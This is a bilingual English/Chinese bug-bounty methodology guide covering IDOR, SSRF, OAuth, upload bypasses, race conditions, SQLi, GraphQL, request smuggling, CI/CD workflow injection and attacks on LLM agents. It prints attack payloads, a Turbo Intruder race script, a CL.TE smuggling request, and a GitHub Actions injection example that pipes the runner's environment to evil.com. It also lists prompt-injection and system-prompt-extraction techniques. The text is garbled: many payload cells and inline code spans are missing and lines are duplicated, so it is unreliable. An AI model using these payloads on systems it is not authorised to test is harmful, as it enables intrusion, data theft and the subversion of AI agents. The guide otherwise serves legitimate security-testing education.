[ ] 已认证: 所有用户可见端点, 文件上传, API调用
[ ] 跨租户: 组织/团队/工作区ID参数
[ ] 管理员: /admin, /internal, /debug
最高优先级(皇冠珠宝 × 最易入口):
1.___ 2.___ 3.___6 Key Patterns from Top Reports
顶级报告中的6个关键模式
- Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
- Developer Inconsistency = Strongest Evidence -- in one place,
timingSafeEqualelsewhere=== - "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
- Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
- Secondary/Legacy Endpoints = No Auth -- guarded but
/api/v1/isn't/api/ - Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend
- 功能复杂度 = 漏洞面——导入、集成、多租户、多步骤工作流
- 开发者不一致 = 最强证据——一个地方用,另一个地方用
timingSafeEqual=== - “Else分支”漏洞——代理/网关在else路径中传递原始令牌而不验证
- 导入/导出 = SSRF——每个“从URL导入”功能历史上都有SSRF
- 次要/遗留端点 = 无身份验证——受保护但
/api/v1/不受保护/api/ - 金融操作中的竞争窗口——先检查后扣除作为两个数据库操作 = 双花
PHASE 3: HUNT
阶段3:挖掘
Note-Taking System (Never Hunt Without This)
笔记系统(挖掘时必备)
markdown
undefinedmarkdown
undefinedTARGET: company.com -- SESSION 1
目标: company.com — 会话1
Interesting Leads (not confirmed bugs yet)
有趣线索(尚未确认的漏洞)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
- [14:22] /api/v2/invoices/{id} — 源代码中无可见身份验证检查,测试中...
Dead Ends (don't revisit)
死胡同(不要重访)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
- /admin -> IP限制,尝试15+绕过头后确认
Anomalies
异常
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
- GET /api/export即使缺少会话Cookie也返回200
- 响应时间: POST /api/check-user -> 150ms(存在) vs 8ms(不存在)
Rabbit Holes (time-boxed, max 15 min each)
陷阱(限时,每个最多15分钟)
- 10 min: JWT kid injection on auth endpoint
- 10分钟: 身份验证端点上的JWT kid注入
Confirmed Bugs
已确认漏洞
- [15:10] IDOR on /api/invoices/{id} -- read+write
undefined- [15:10] /api/invoices/{id}上的IDOR — 读+写
undefinedSubdomain Type -> Hunt Strategy
子域名类型 → 挖掘策略
- dev/staging/test: Debug endpoints, disabled auth, verbose errors
- admin/internal: Default creds, IP bypass headers ()
X-Forwarded-For: 127.0.0.1 - api/api-v2: Enumerate with kiterunner, check older unprotected versions
- auth/sso: OAuth misconfigs, open redirect in
redirect_uri - upload/cdn: CORS, path traversal, stored XSS
- dev/staging/test: 调试端点,禁用身份验证,详细错误
- admin/internal: 默认凭证,IP绕过头 ()
X-Forwarded-For: 127.0.0.1 - api/api-v2: 用kiterunner枚举,检查旧的未受保护版本
- auth/sso: OAuth配置错误,中的开放重定向
redirect_uri - upload/cdn: CORS,路径遍历,存储型XSS
CVE-Seeded Audit Approach
CVE种子审计方法
- Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
- Reproduce old bugs -- verify you can find the pattern in older code
- Pattern-match forward -- search for the same anti-pattern in current code
- Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input
- 构建CVE评估集——收集目标代码库的5-10个先前CVE
- 重现旧漏洞——验证你能在旧代码中找到模式
- 向前模式匹配——在当前代码中搜索相同的反模式
- 关注宽攻击面——JS引擎、解析器、任何处理不受信任外部输入的组件
Rust/Blockchain Source Code (Hard-Won Lessons)
Rust/区块链源代码(来之不易的经验)
Panic paths: encoding vs decoding -- on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
.unwrap()"Known TODO" is not a mitigation -- A comment like doesn't mean safe.
// Votes are not signed for nowPattern-based hunting from confirmed findings -- If is broken, check and .
verify_signed_voteverify_signed_proposalverify_commit_signaturebash
undefinedPanic路径: 编码 vs 解码——编码路径上的无法被攻击者触发。只有反序列化/解码网络输入时的Panic可被利用。
.unwrap()“已知TODO”不是缓解措施——像这样的注释不意味着安全。
// Votes are not signed for now基于已确认发现的模式挖掘——如果有漏洞,检查和。
verify_signed_voteverify_signed_proposalverify_commit_signaturebash
undefinedRust dangerous patterns (network-facing)
Rust危险模式(面向网络)
grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize"
grep -rn "if let Ok|let _ =" --include=".rs" | grep -i "verify|sign|cert|auth"
grep -rn "TODO|FIXME|not signed|not verified|for now" --include="*.rs" | grep -i "sign|verify|cert|auth"
---grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize"
grep -rn "if let Ok|let _ =" --include=".rs" | grep -i "verify|sign|cert|auth"
grep -rn "TODO|FIXME|not signed|not verified|for now" --include="*.rs" | grep -i "sign|verify|cert|auth"
---VULNERABILITY HUNTING CHECKLISTS
漏洞挖掘清单
IDOR -- Insecure Direct Object Reference
IDOR — 不安全直接对象引用
#1 most paid web2 class -- 30% of all submissions that get paid.
#1最常获得赏金的Web2类别——30%的提交获得赏金。
IDOR Variants (10 Ways to Test)
IDOR变体(10种测试方式)
| Variant | What to Test |
|---|---|
| V1: Direct | Change object ID in URL path |
| V2: Body param | Change ID in POST/PUT JSON body |
| V3: GraphQL node | |
| V4: Batch/bulk | |
| V5: Nested | Change parent ID: |
| V6: File path | |
| V7: Predictable | Sequential integers, timestamps, short UUIDs |
| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback | v2 blocked? Try |
| V10: Header injection | |
| 变体 | 测试内容 |
|---|---|
| V1: 直接 | 更改URL路径中的对象ID |
| V2: Body参数 | 更改POST/PUT JSON体中的ID |
| V3: GraphQL节点 | |
| V4: 批量 | |
| V5: 嵌套 | 更改父ID: |
| V6: 文件路径 | |
| V7: 可预测 | 顺序整数、时间戳、短UUID |
| V8: 方法切换 | GET返回403?尝试在同一端点上使用PUT/PATCH/DELETE |
| V9: 版本回滚 | v2被阻止?尝试 |
| V10: 头注入 | |
IDOR Testing Checklist
IDOR测试清单
- Create two accounts (A = attacker, B = victim)
- Log in as A, perform all actions, note all IDs in requests
- Log in as B, replay A's requests with A's IDs using B's auth
- Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
- Check API v1/v2 differences
- Check GraphQL schema for node() queries
- Check WebSocket messages for client-supplied IDs
- Test batch endpoints (can you request multiple IDs?)
- Try adding unexpected params:
?user_id=other_user
- 创建两个账户(A = 攻击者,B = 受害者)
- 以A登录,执行所有操作,记录请求中的所有ID
- 以B登录,使用B的身份验证重放A的请求并替换为A的ID
- 尝试每个端点交换ID——不仅是GET,还有PUT/DELETE/PATCH
- 检查API v1/v2差异
- 检查GraphQL schema中的node()查询
- 检查WebSocket消息中的客户端提供的ID
- 测试批量端点(能否请求多个ID?)
- 尝试添加意外参数:
?user_id=other_user
IDOR Chains (higher payout)
IDOR链(更高赏金)
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot (LLM reads other user's data) = High
- IDOR + 读取PII = 中危
- IDOR + 写入(修改他人数据) = 高危
- IDOR + 管理员端点 = 严重(权限提升)
- IDOR + 账户接管路径 = 严重
- IDOR + 聊天机器人(LLM读取其他用户数据) = 高危
SSRF -- Server-Side Request Forgery
SSRF — 服务器端请求伪造
- Try cloud metadata:
http://169.254.169.254/latest/meta-data/ - Try internal services: (Redis),
http://127.0.0.1:6379/(Elasticsearch),:9200(MongoDB):27017 - Test all IP bypass techniques (see table below)
- Test protocol bypass: ,
file://,dict://gopher:// - Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers
- 尝试云元数据:
http://169.254.169.254/latest/meta-data/ - 尝试内部服务: (Redis),
http://127.0.0.1:6379/(Elasticsearch),:9200(MongoDB):27017 - 测试所有IP绕过技术(见下表)
- 测试协议绕过: ,
file://,dict://gopher:// - 查找位置: webhook URL、从URL导入、头像URL、PDF生成器、XML解析器
SSRF IP Bypass Table (11 Techniques)
SSRF IP绕过表(11种技术)
| Bypass | Payload | Notes |
|---|---|---|
| Decimal IP | | 127.0.0.1 as single decimal |
| Hex IP | | Hex representation |
| Octal IP | | Octal 0177 = 127 |
| Short IP | | Abbreviated notation |
| IPv6 | | Loopback in IPv6 |
| IPv6-mapped | | IPv4-mapped IPv6 |
| Redirect chain | | Check each hop |
| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |
| URL encoding | | Parser confusion |
| Enclosed alphanumeric | | Unicode numerals |
| Protocol smuggling | | Redis/other protocols |
| 绕过方式 | 载荷 | 说明 |
|---|---|---|
| 十进制IP | | 127.0.0.1的单十进制表示 |
| 十六进制IP | | 十六进制表示 |
| 八进制IP | | 八进制0177 = 127 |
| 短IP | | 缩写表示法 |
| IPv6 | | IPv6环回地址 |
| IPv6映射 | | IPv4映射IPv6 |
| 重定向链 | | 检查每个跳转 |
| DNS重绑定 | 注册解析到127.0.0.1的域名 | 第一次检查 = 外部,获取 = 内部 |
| URL编码 | | 解析器混淆 |
| 封闭字母数字 | | Unicode数字 |
| 协议走私 | | Redis/其他协议 |
SSRF Impact Chain
SSRF影响链
- DNS-only = Informational (don't submit)
- Internal service accessible = Medium
- Cloud metadata readable = High (key exposure)
- Cloud metadata + exfil keys = Critical (code execution on cloud)
- Docker API accessible = Critical (direct RCE)
- 仅DNS = 信息级(不要提交)
- 内部服务可访问 = 中危
- 云元数据可读 = 高危(密钥暴露)
- 云元数据 + 密钥泄露 = 严重(云上代码执行)
- Docker API可访问 = 严重(直接RCE)
OAuth / OIDC
OAuth / OIDC
- Missing parameter -> CSRF
state - accepts wildcards -> ATO
redirect_uri - Missing PKCE -> code theft
- Implicit flow -> token leakage in referrer
- Open redirect in post-auth redirect -> OAuth token theft chain
- 缺少参数 → CSRF
state - 接受通配符 → ATO
redirect_uri - 缺少PKCE → 授权码窃取
- 隐式流 → 令牌在referrer中泄露
- 授权后重定向中的开放重定向 → OAuth令牌窃取链
Open Redirect Bypass Table (11 Techniques)
开放重定向绕过表(11种技术)
Use these when chaining open redirect into OAuth code theft:
| Bypass | Payload | Notes |
|---|---|---|
| Double URL encoding | | Decodes to |
| Backslash | | Some parsers normalize |
| Missing protocol | | Protocol-relative |
| @-trick | | target.com becomes username |
| Protocol-relative | | Triple slash |
| Tab/newline injection | | Whitespace in hostname |
| Fragment trick | | Fragment misleads validation |
| Null byte | | Some parsers truncate at null |
| Parameter pollution | | Last value wins |
| Path confusion | | Path traversal in redirect |
| Unicode normalization | | Visual confusion |
将开放重定向链入OAuth授权码窃取时使用这些:
| 绕过方式 | 载荷 | 说明 |
|---|---|---|
| 双重URL编码 | | 双重解码后为 |
| 反斜杠 | | 某些解析器将 |
| 缺少协议 | | 协议相对 |
| @技巧 | | target.com成为用户名 |
| 协议相对 | | 三重斜杠 |
| 制表符/换行注入 | | 主机名中的空格 |
| 片段技巧 | | 片段误导验证 |
| 空字节 | | 某些解析器在空字节处截断 |
| 参数污染 | | 最后一个值获胜 |
| 路径混淆 | | 重定向中的路径遍历 |
| Unicode规范化 | | 视觉混淆 |
File Upload
文件上传
File Upload Bypass Table
文件上传绕过表
| Bypass | Technique |
|---|---|
| Double extension | |
| Case variation | |
| Alternative extensions | |
| Content-Type spoof | |
| Magic bytes | |
| .htaccess upload | |
| SVG XSS | |
| Race condition | Upload + execute before cleanup runs |
| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
| Zip slip | |
| 绕过方式 | 技术 |
|---|---|
| 双重扩展名 | |
| 大小写变化 | |
| 替代扩展名 | |
| Content-Type欺骗 | 带有PHP内容的 |
| 魔术字节 | |
| .htaccess上传 | |
| SVG XSS | |
| 竞争条件 | 在清理运行前上传 + 执行 |
| 多语言JPEG/PHP | 有效的JPEG同时也是有效的PHP |
| Zip slip | 归档中文件名包含 |
Magic Bytes Reference
魔术字节参考
| Type | Hex |
|---|---|
| JPEG | |
| PNG | |
| GIF | |
| |
| ZIP/DOCX/XLSX | |
| 类型 | 十六进制 |
|---|---|
| JPEG | |
| PNG | |
| GIF | |
| |
| ZIP/DOCX/XLSX | |
Race Conditions
竞争条件
- Coupon codes / promo codes
- Gift card redemption
- Fund transfer / withdrawal
- Voting / rating limits
- OTP verification brute via race
bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait- 优惠券代码 / 促销代码
- 礼品卡兑换
- 资金转账 / 取款
- 投票 / 评分限制
- OTP验证暴力破解(通过竞争)
bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
waitTurbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)
Turbo Intruder — 单包攻击(所有请求同时到达)
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # 所有20个请求在单个TCP包中发送
def handleResponse(req, interesting):
table.add(req)Business Logic
业务逻辑
- Negative quantities in cart
- Price parameter tampering
- Workflow skip (e.g., pay without checkout)
- Role escalation via registration fields
- Privilege persistence after downgrade
- 购物车中的负数量
- 价格参数篡改
- 工作流跳过(例如,无需结账即可支付)
- 通过注册字段提升角色
- 降级后权限持久化
XSS -- Cross-Site Scripting
XSS — 跨站脚本
XSS Sinks (grep for these)
XSS Sink(grep这些)
javascript
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInputjavascript
// 高风险
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // 字符串形式
setInterval(userInput, ...)
new Function(userInput)
// 中风险(依赖上下文)
element.src = userInput // 可能使用JavaScript URI
element.href = userInput
location.href = userInputXSS Chains (escalate from Medium to High/Critical)
XSS链(从中危升级到高危/严重)
- XSS + sensitive page (banking, admin) = High
- XSS + CSRF token theft = CSRF bypass -> Critical action
- XSS + service worker = persistent XSS across pages
- XSS + credential theft via fake login form = ATO
- XSS in chatbot response = stored XSS chain
- XSS + 敏感页面(银行、管理员) = 高危
- XSS + CSRF令牌窃取 = CSRF绕过 -> 严重操作
- XSS + 服务工作者 = 跨页面持久化XSS
- XSS + 通过假登录表单窃取凭证 = ATO
- XSS在聊天机器人响应中 = 存储型XSS链
SQL Injection
SQL注入
Detection
检测
bash
undefinedbash
undefinedSingle quote test
单引号测试
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
Error-based detection
基于错误的检测
'; SELECT 1/0-- # divide by zero error reveals SQLi
undefined'; SELECT 1/0-- # 除零错误暴露SQLi
undefinedModern SQLi WAF Bypass
现代SQLi WAF绕过
sql
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1sql
-- 注释变体
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- 大小写变化
SeLeCt * FrOm uSeRs
-- URL编码
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1GraphQL
GraphQL
Introspection (alone = Informational, but reveals attack surface)
自省(单独为信息级,但暴露攻击面)
graphql
{ __schema { types { name fields { name type { name } } } } }graphql
{ __schema { types { name fields { name type { name } } } } }Missing Field-Level Auth
缺少字段级身份验证
graphql
undefinedgraphql
undefinedUser query returns only own data
User查询仅返回自己的数据
{ user(id: 1) { name email } }
{ user(id: 1) { name email } }
But node() bypasses per-object auth:
但node()绕过了每个对象的身份验证:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
undefined{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
undefinedBatching Attack (Rate Limit Bypass)
批量攻击(速率限制绕过)
json
[
{"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
{"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
"...100 more..."
]json
[
{"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
{"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
"...100 more..."
]LLM / AI Features
LLM / AI功能
- Prompt injection via user input passed to LLM
- Indirect injection via document/URL the AI processes
- IDOR in chat history (enumerate conversation IDs)
- System prompt extraction via roleplay/encoding
- RCE via code execution tool abuse
- ASCII smuggling (invisible unicode in LLM output)
- 通过传递给LLM的用户输入进行提示注入
- 通过AI处理的文档/URL进行间接注入
- 聊天历史中的IDOR(枚举对话ID)
- 通过角色扮演/编码提取系统提示
- 通过代码执行工具滥用实现RCE
- ASCII走私(LLM输出中的不可见Unicode)
Agentic AI Hunting (OWASP ASI01-ASI10)
Agentic AI挖掘(OWASP ASI01-ASI10)
When target has AI agents with tool access, these are the 10 attack classes:
| ID | Vuln Class | What to Test |
|---|---|---|
| ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules |
| ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |
| ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context |
| ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user |
| ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content |
| ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay |
| ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM |
| ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered |
| ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |
| ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
当目标有带工具访问权限的AI代理时,这些是10种攻击类别:
| ID | 漏洞类别 | 测试内容 |
|---|---|---|
| ASI01 | 提示注入 | 通过用户输入覆盖系统提示——让代理忽略其规则 |
| ASI02 | 工具误用 | 让AI使用攻击者控制的参数调用工具(通过“获取URL”实现SSRF,通过代码工具实现RCE) |
| ASI03 | 数据泄露 | 通过精心设计的提示泄露训练数据/PII,这些提示会泄露上下文 |
| ASI04 | 权限提升 | 使用AI访问仅管理员可用的工具——代理比用户拥有更广泛的权限 |
| ASI05 | 间接注入 | 投毒AI处理的文档/URL——获取的内容中包含隐藏指令 |
| ASI06 | 过度代理 | AI在无确认的情况下采取破坏性行动——删除、发送、支付 |
| ASI07 | 模型DoS | 制作导致无限循环、过度令牌使用或OOM的输入 |
| ASI08 | 不安全输出 | AI生成的输出中包含XSS/SQLi/命令注入,这些输出会被渲染 |
| ASI09 | 供应链 | AI调用的已妥协插件/工具/MCP服务器 |
| ASI10 | 敏感信息披露 | AI泄露内部配置、API密钥、系统提示、用户数据 |
分类规则: 单独的ASI = 信息级。必须链入IDOR/泄露/RCE/ATO才能获得赏金。
Cache Poisoning / Web Cache Deception
缓存投毒 / Web缓存欺骗
- Test ,
X-Forwarded-Host,X-Original-URL-- unkeyed headers reflected in responseX-Rewrite-URL - Parameter cloaking ()
?param=value;poison=xss - Fat GET (body params on GET requests)
- Web cache deception (-- trick cache into storing private response)
/account/settings.css - Param Miner (Burp extension) -- auto-discovers unkeyed headers
- 测试,
X-Forwarded-Host,X-Original-URL——未加键的头在响应中反射X-Rewrite-URL - 参数隐藏 ()
?param=value;poison=xss - Fat GET(GET请求中的body参数)
- Web缓存欺骗 (——诱使缓存存储私有响应)
/account/settings.css - Param Miner(Burp扩展)——自动发现未加键的头
HTTP Request Smuggling
HTTP请求走私
- CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
- TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
- H2.CL: HTTP/2 downgrade smuggling
- TE obfuscation: , tab prefix, space prefix
Transfer-Encoding: xchunked - Use Burp "HTTP Request Smuggler" extension -- detects automatically
- CL.TE: 前端处理Content-Length,后端处理Transfer-Encoding
- TE.CL: 前端处理Transfer-Encoding,后端处理Content-Length
- H2.CL: HTTP/2降级走私
- TE混淆: , 制表符前缀, 空格前缀
Transfer-Encoding: xchunked - 使用Burp“HTTP Request Smuggler”扩展——自动检测
CL.TE Example
CL.TE示例
http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDFrontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED前端读取Content-Length:13 -> 发送所有内容。后端读取Transfer-Encoding -> 看到块“0”=结束 -> “SMUGGLED”留在缓冲区中 -> 下一个用户的请求被投毒。
Android / Mobile Hunting
Android / 移动挖掘
- Certificate pinning bypass (Frida/objection)
- Exported activities/receivers (AndroidManifest.xml)
- Deep link injection
- Shared preferences / SQLite in cleartext
- WebView JavaScript bridge
- Mobile API often uses older/different API version than web
- 证书固定绕过(Frida/objection)
- 导出的活动/接收器(AndroidManifest.xml)
- 深度链接注入
- 共享偏好设置 / SQLite明文存储
- WebView JavaScript桥
- 移动API通常使用比Web应用更旧/不同的API版本
CI/CD Pipeline — GitHub Actions Security
CI/CD管道 — GitHub Actions安全
Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install:or download binary from releases.brew install sisakulintQuick scan:— flags Critical/High issues with auto-fix suggestions. Remote scan:sisakulint scan .github/workflows/— scan without cloning.sisakulint scan --remote owner/repo
工具: 使用sisakulint进行自动化SAST — 52条规则,跨步骤/作业/可重用工作流的污点传播,81.6%覆盖GitHub安全公告(31/38 GHSAs)。安装:或从发布版下载二进制文件。brew install sisakulint快速扫描:— 标记严重/高危问题并提供自动修复建议。 远程扫描:sisakulint scan .github/workflows/— 无需克隆即可扫描。sisakulint scan --remote owner/repo
Recon: Finding Workflow Files
侦察: 查找工作流文件
bash
undefinedbash
undefinedClone target's public repos, then:
克隆目标的公共仓库,然后:
find . -name ".yml" -path "/.github/workflows/*" | head -50
find . -name ".yml" -path "/.github/workflows/*" | head -50
Quick grep for dangerous patterns:
快速grep危险模式:
grep -rn "pull_request_target|workflow_run" .github/workflows/
grep -rn 'github.event.(issue|pull_request|comment)' .github/workflows/
grep -rn 'GITHUB_ENV|GITHUB_OUTPUT|GITHUB_PATH' .github/workflows/
grep -rn 'secrets.|secrets: inherit' .github/workflows/
grep -rn "pull_request_target|workflow_run" .github/workflows/
grep -rn 'github.event.(issue|pull_request|comment)' .github/workflows/
grep -rn 'GITHUB_ENV|GITHUB_OUTPUT|GITHUB_PATH' .github/workflows/
grep -rn 'secrets.|secrets: inherit' .github/workflows/
Run sisakulint on all workflows:
在所有工作流上运行sisakulint:
sisakulint scan .github/workflows/
undefinedsisakulint scan .github/workflows/
undefinedCategory 1: Code Injection & Expression Safety (CICD-SEC-04)
类别1: 代码注入与表达式安全(CICD-SEC-04)
Root cause: Untrusted input (, , branch names, commit messages) interpolated into blocks via expressions.
github.event.issue.titlegithub.event.pull_request.bodyrun:${{ }}Taint sources (attacker-controlled):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref- Expression injection — in
${{ github.event.issue.title }}block = RCErun:yaml# VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) # run: echo "${{ github.event.issue.title }}" # FIXED — use env var (shell-quoted, not expression-interpolated) env: TITLE: ${{ github.event.issue.title }} run: echo "$TITLE" - Environment variable injection — untrusted input →
$GITHUB_ENVyaml# VULNERABLE — attacker injects newline + arbitrary VAR=VALUE run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV # FIXED — use heredoc delimiter run: | { echo "BRANCH<<EOF" echo "${{ github.head_ref }}" echo "EOF" } >> $GITHUB_ENV - PATH injection — untrusted input → = arbitrary binary execution
$GITHUB_PATH - Output clobbering — untrusted input → without heredoc delimiter = downstream job manipulation
$GITHUB_OUTPUT - Argument injection — untrusted input as CLI argument (e.g., )
docker run ${{ ... }}yaml# VULNERABLE run: docker run ${{ github.event.pull_request.body }} # FIXED — end-of-options marker + env var env: INPUT: ${{ github.event.pull_request.body }} run: docker run -- "$INPUT" - Request forgery (SSRF) — attacker-controlled URL in /
curlwithin workflowwget
根本原因: 不受信任的输入(, , 分支名称, 提交消息)通过表达式插入到块中。
github.event.issue.titlegithub.event.pull_request.body${{ }}run:污点源(攻击者可控):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref- 表达式注入 — 块中的
run:= RCE${{ github.event.issue.title }}yaml# 易受攻击 — 攻击者创建标题为a]]; curl https://evil.com/$(env | base64) #的问题 run: echo "${{ github.event.issue.title }}" # 修复 — 使用环境变量(shell引用,非表达式插入) env: TITLE: ${{ github.event.issue.title }} run: echo "$TITLE" - 环境变量注入 — 不受信任的输入 →
$GITHUB_ENVyaml# 易受攻击 — 攻击者注入换行 + 任意VAR=VALUE run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV # 修复 — 使用heredoc分隔符 run: | { echo "BRANCH<<EOF" echo "${{ github.head_ref }}" echo "EOF" } >> $GITHUB_ENV - PATH注入 — 不受信任的输入 → = 任意二进制执行
$GITHUB_PATH - 输出篡改 — 不受信任的输入 → 无heredoc分隔符 = 下游作业操纵
$GITHUB_OUTPUT - 参数注入 — 不受信任的输入作为CLI参数(例如,)
docker run ${{ ... }}yaml# 易受攻击 run: docker run ${{ github.event.pull_request.body }} # 修复 — 选项结束标记 + 环境变量 env: INPUT: ${{ github.event.pull_request.body }} run: docker run -- "$INPUT" - 请求伪造(SSRF) — 工作流中/
curl使用攻击者控制的URLwget
Category 2: Pipeline Poisoning & Untrusted Checkout
类别2: 管道投毒与不受信任的检出
Root cause: Privileged triggers (, ) checkout attacker's PR code, which then runs with repository secrets.
pull_request_targetworkflow_run- Untrusted checkout — on
actions/checkoutwithout explicit safe refpull_request_targetyaml# VULNERABLE — checks out attacker's PR code with repo secrets on: pull_request_target jobs: build: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE - run: make build # runs attacker's Makefile with secrets # FIXED — only checkout base branch, or use read-only permissions permissions: {} steps: - uses: actions/checkout@v4 # checks out base branch by default - TOCTOU (Time-of-Check-Time-of-Use) — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
- Reusable workflow taint — passes all secrets to called workflow that processes untrusted input
secrets: inherit - Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
- Cache poisoning (poisonable step) — unsafe checkout followed by build step before cache save
- Artifact poisoning — from untrusted
actions/download-artifactwithout validationworkflow_runyaml# VULNERABLE — downloads artifact from untrusted workflow, then executes it on: workflow_run steps: - uses: actions/download-artifact@v4 - run: ./downloaded-binary # attacker-controlled binary # FIXED — verify artifact hash/signature before execution - Artipacked — with
actions/checkout(default) leakspersist-credentials: truecredentials in uploaded artifacts.git/configyaml# FIXED - uses: actions/checkout@v4 with: persist-credentials: false
根本原因: 特权触发器(, )检出攻击者的PR代码,然后使用仓库密钥运行它。
pull_request_targetworkflow_run- 不受信任的检出 — 上的
pull_request_target无明确安全refactions/checkoutyaml# 易受攻击 — 使用仓库密钥检出攻击者的PR代码 on: pull_request_target jobs: build: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # 攻击者代码 - run: make build # 使用密钥运行攻击者的Makefile # 修复 — 仅检出基础分支,或使用只读权限 permissions: {} steps: - uses: actions/checkout@v4 # 默认检出基础分支 - TOCTOU(检查时间-使用时间) — 标签门控批准 + 可变ref = 攻击者添加标签,批准后推送恶意提交
- 可重用工作流污染 — 将所有密钥传递给处理不受信任输入的被调用工作流
secrets: inherit - 缓存投毒 — 不受信任的检出 → 构建 → 缓存写入 → 特权工作流读取被投毒的缓存
- 缓存投毒(可投毒步骤) — 不安全检出后在缓存保存前执行构建步骤
- 工件投毒 — 从不受信任的下载工件无验证
workflow_runyaml# 易受攻击 — 下载不受信任工作流的工件,然后执行它 on: workflow_run steps: - uses: actions/download-artifact@v4 - run: ./downloaded-binary # 攻击者控制的二进制文件 # 修复 — 执行前验证工件哈希/签名 - Artipacked — 默认
actions/checkout在上传的工件中泄露persist-credentials: true凭证.git/configyaml# 修复 - uses: actions/checkout@v4 with: persist-credentials: false
Category 3: Supply Chain & Dependency Security (CICD-SEC-08)
类别3: 供应链与依赖安全(CICD-SEC-08)
- Unpinned actions — (mutable tag) instead of SHA pin
